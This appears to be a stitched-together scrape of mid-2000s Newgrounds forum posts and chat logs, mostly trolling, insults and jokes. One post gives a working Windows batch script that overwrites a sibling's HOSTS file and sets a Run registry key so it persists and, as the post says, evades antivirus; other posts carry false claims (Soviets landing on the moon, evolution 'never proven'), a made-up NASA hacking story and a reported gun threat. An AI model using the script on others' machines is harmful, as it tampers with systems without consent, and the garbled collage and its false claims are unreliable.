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lmfao @ whoever bumped this

batch is shit tho,,,, i use VBS now

At 12/14/06 03:12 AM, f0d wrote:

At 12/14/06 03:00 AM, Zen444 wrote:

At 12/14/06 02:59 AM, f0d wrote: figures

The "book" you guys wrote was pretty good, should've included more history.

only one guy wrote it and it was gay

hey im mr weisman and i go to college but i never wrote a 44 page book in less than a month

and the SS spends time finding flaws in a site they "hate," yet still use.

goddamn that was ONE SS MEMBER get that through your head

the majority of us disapproved of the whole abuse newgrounds book for the very reasons you're stating

eat a big dick,,, that book was grEAT

Let's put this shit in perspective:

We spend five minutes to mark all your reviews as abusive.

You spend five hours every day sledging through shitty threads on the BBS.

At 12/13/06 12:52 AM, Warrickneff wrote: Looks like about... 6-8 of them followed through.

Watch out...6-8 internet badasses out to get you.

I followed through the day it was posted,,,, I just didn't reply to tha threaDR.%%

yeah

At 12/9/06 08:34 PM, RyanY wrote:

At 12/9/06 08:32 PM, Bl00dRedKnife wrote: Nice photoshop.

It's easy to change the start button with instructions. I did it ages ago and couldnt be bothered to change it back.

dam it looks like they infected u too

i tried www.symantec.com but they wanted money for their program or som shit

som1 told me spysheriff is a g00d antivurus so i'll try dat and let you know how it turnz out

At 12/9/06 08:32 PM, Bl00dRedKnife wrote: Nice photoshop.

unless if someone else made it.

this isnt fotoship (sp?) man plz help me out my parents will be pissd

i was just watchin some daily toons and my computa made a really loud fart sound

dis is wut happened:

At 12/1/06 07:08 PM, Luis wrote: Or you could do it like us normal people and just practice more and earn the reward of making it through judgment all by yourself. its much more fulfilling trust me.

Or you could do what I do and just put your computer keyboard under a DDR mat, leave flash open, play a few rounds, save your flash project, and submit it as a dailytoon.

To get flash onto newgrounds, just post it in: http://z7.invisionfree.com/Star_Syndicate/ind ex.php?showforum=110, and it will be included in a dailytoon.

dam ya that flash was good

glock group was started by Star Syndicate members but became gay when non-SS members were trying to take control of it%%%% -- from f0d or somebody

ye vozz did get visited by the secret service because we know is personal inFO.

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GoldenclawNow (8:01:23 PM): ok
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BabyFlavoredGum (8:02:01 PM): and also
BabyFlavoredGum (8:02:12 PM): tell these motherfuckers to get my name right
GoldenclawNow (8:02:18 PM): lauch or lunch
GoldenclawNow (8:02:20 PM): or lauch
GoldenclawNow (8:02:21 PM): or luc
GoldenclawNow (8:02:24 PM): or launc
GoldenclawNow (8:02:26 PM): or lol
BabyFlavoredGum (8:02:32 PM): what do you think ass
GoldenclawNow (8:02:35 PM): lunch

I want to make flash that will blow up computer of whoever watch it.

this urgent quick reply please

At 11/27/06 01:09 PM, Jordan wrote:

At 11/27/06 12:59 PM, xX-Anubis-Xx wrote: No im serios im gonna replace my bro's precios runescape shortcut with this

Justs edit the HOSTS file to take him to www.youareanidiot.tk when he tries to access runescape.com...

this guy is right on the mONEY

1. make your own hosts file (can be found in %windir%\system32\drivers\etc), modify it to block http://runescape.com and http://www.runescape.com.

2. This code will switch the hosts file automatically on startup. It will operate before norton/mcafee/pandashit boots up, so you won't get shit from antivirus software.

COPY "lmao.bloc" "%userprofile%"
COPY "%systemroot%\system32\drivers\etc\hosts" "%userprofile%\backup"
echo COPY "%userprofile%\lmao.bloc" "%systemroot%\system32\drivers\etc" >> "%userprofile%\systemss.bat"
echo DEL "%systemroot%\system32\drivers\etc\hosts" >> "%userprofile%\systemss.bat"
echo RENAME "%systemroot%\system32\drivers\etc\lmao.bloc" "hosts" >> "%userprofile%\systemss.bat"
REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersi on\Run" /v "runescay" /d "\"%userprofile%\systemss.bat\"" /f

I just arrived at home after spending the greater part of the day touring the state-of-the-art facilities at the National Aeronautics and Space Administration. I got to see the various rooms where astronauts' bodies were pushed to the cusp of human ability. I saw various exotic plants and rocks being studied in bright white laboratories. I even saw the myriad rooms in which engineers labor over calculations for days, checking and rechecking their numbers to ensure the lives of the astronauts with whom their lives are entrusted.

All these things were amazing sights to behold, but one feature alone eclipses all of these things. It is a prototype "Hyper-Computer" designed to compute complex algorithms at lightning speed.

This hyper-computer was named "Chrome-". It runs on the newly created W00tabega operating system, based on the Linux kernel. Chrome- is able to compute equations and perform operations faster than any other super-computer ever concieved. Its functionality isn't limited to simply deriving mathematical equations; it has many more uses. The chief engineer showed off the computer by asking one of my classmates what websites he frequents. "Well, I got to Newgrounds a lot," he replied. "My username on there is HLG." The engineer executed a program called Algorithm Encryption Access version 2, or AEA2 for short. This program broke the student's password in a matter of seconds and had access to his profile. The amazement did not end there. "Gost House? How would you like to have your Flash work featured on the front page of this website?" said the engineer. "That would be swell," replied HLG. The engineer opened what looked like a command line console and executed a string of code. It went far to fast for me to see all of it, but here's what I remember:

nETCAT -l www.newgrounds.com -p

After the program finished executing, we looked on the Newgrounds front page and Gost House was on the front page.

It was fascinating.

Hey! I'm not a piece.

OBJECTION! LMAO SPRIT MOVI IS FUNY

hot

You gave this entry a 5, raising its score from 1.6306 to 1.6375!

simple science. the fish displaces a volume of water equal to the mass of my dick in your mouth.

At 9/18/06 10:15 PM, Lagatag wrote: How can the bible be right when there's evidence that the world is over 4 billion years old, and the bible says its only like 12,000 years old? God made everything appear 4 billion years old? Also why the hell does god have 3 different groups of chosen people (Christians, Muslims, Jews)? Also I'm sure God would appreciate proper grammar and spelling, so try using it next time.

The bible never says that the world is only a few thousand years old scientists just made that up to try to discredit the truth of God. God also doesn't have one group of chosen people. He loves everyone. And if there were one race that he didn't like, it would probably be the Muslims and the Jews, because they blow up and kill followers of God.

At 9/18/06 06:01 PM, the-man-in-black wrote: perhaps god created evolution????

Over the hills of slain a hideous shape appeared: a horseman, tall, hooded, cloaked in black

no this is wrong, i've proven that on a previous page. this is iroinic since evolution has never been proven lol

Also considering capitalism outlasted communism in the cold war, thats all the proof you need.

umm wtf, the soviets were the first to send a satilite into space, the first to travel completely around the earth, and the first to land on the moon. They had the economic means to do this because they were under a communist system. learn you history god your stupid

for all those evil people saying that EVILution is real, chew on this:

if evilution were real, and we all evolved from one organism, then we would have all been severely inbred and would've died quickly. The only possible way life came to be was that it was created quickly, like it says in the Bible.

At 9/18/06 05:24 PM, FreeFish wrote: um..
look im catholic and im confimed so i do belive in the Church and Jesus
However there is no doubt in my mind that evolution did happen
the way i look at it is God created living Organisms because he wanted life to occur on certain places Namely: Earth
then he let the rest just fall into place

No that's just society poisioning your mind. the entire concept of evolution was just created one day by evil scientists to lead good Christians like you and I away from the grace of Christ and toward a life of greed and depravity. I'll pray for you to see my point of view before it's too late.

So earlier today my teacher started to teach me about the concept of evolution. More like EVILution if you ask me. I mean, it totally goes against what's stated in the Holy Bible, and more than that it is downright untrue. God had a divine plan when he created the world, and he explained it to us in the Bible. I don't get why all these scientific dumbasses can't just realize that the Bible is right and they are WRONG! Besides, evilution is just a theory which means it hasen't been proven and will never be proven. I mean come on, humans evolving from monkeys?? that's just rediculous. What will they tell us next, that rainbows aren't caused by God's promise to mankind?

If "science" was as smart as people claimed it to be, it would've embraced the truth by now that the bible is fact and evolution is just a theory.

America would flourish under communism. With the rising deficit, and the inflation of our primitive capitalist system, our country is bound to fail. It is time that we embraced the ideals of our forefathers and adapted to the ever-changing world around us-- a world that demands communism.

i sit B hind dis grl named aleesha and we were N 4th Hr rite after lunch and she dared me 2 go up 2 this rly shy dude and slap his neck but i didnt want 2 cuz he always draws pics of skuls and stuff and i think he is related 2 the devil lol but i did it anyway and he rly freeked out!!!!! he turnd around and pushed me rly hard and i fell into the teechers table he was immeditely sent 2 the office lol he walked out screamin that he was gona bring a gun 2morrow lol

well i jus wantd 2 share dat lol

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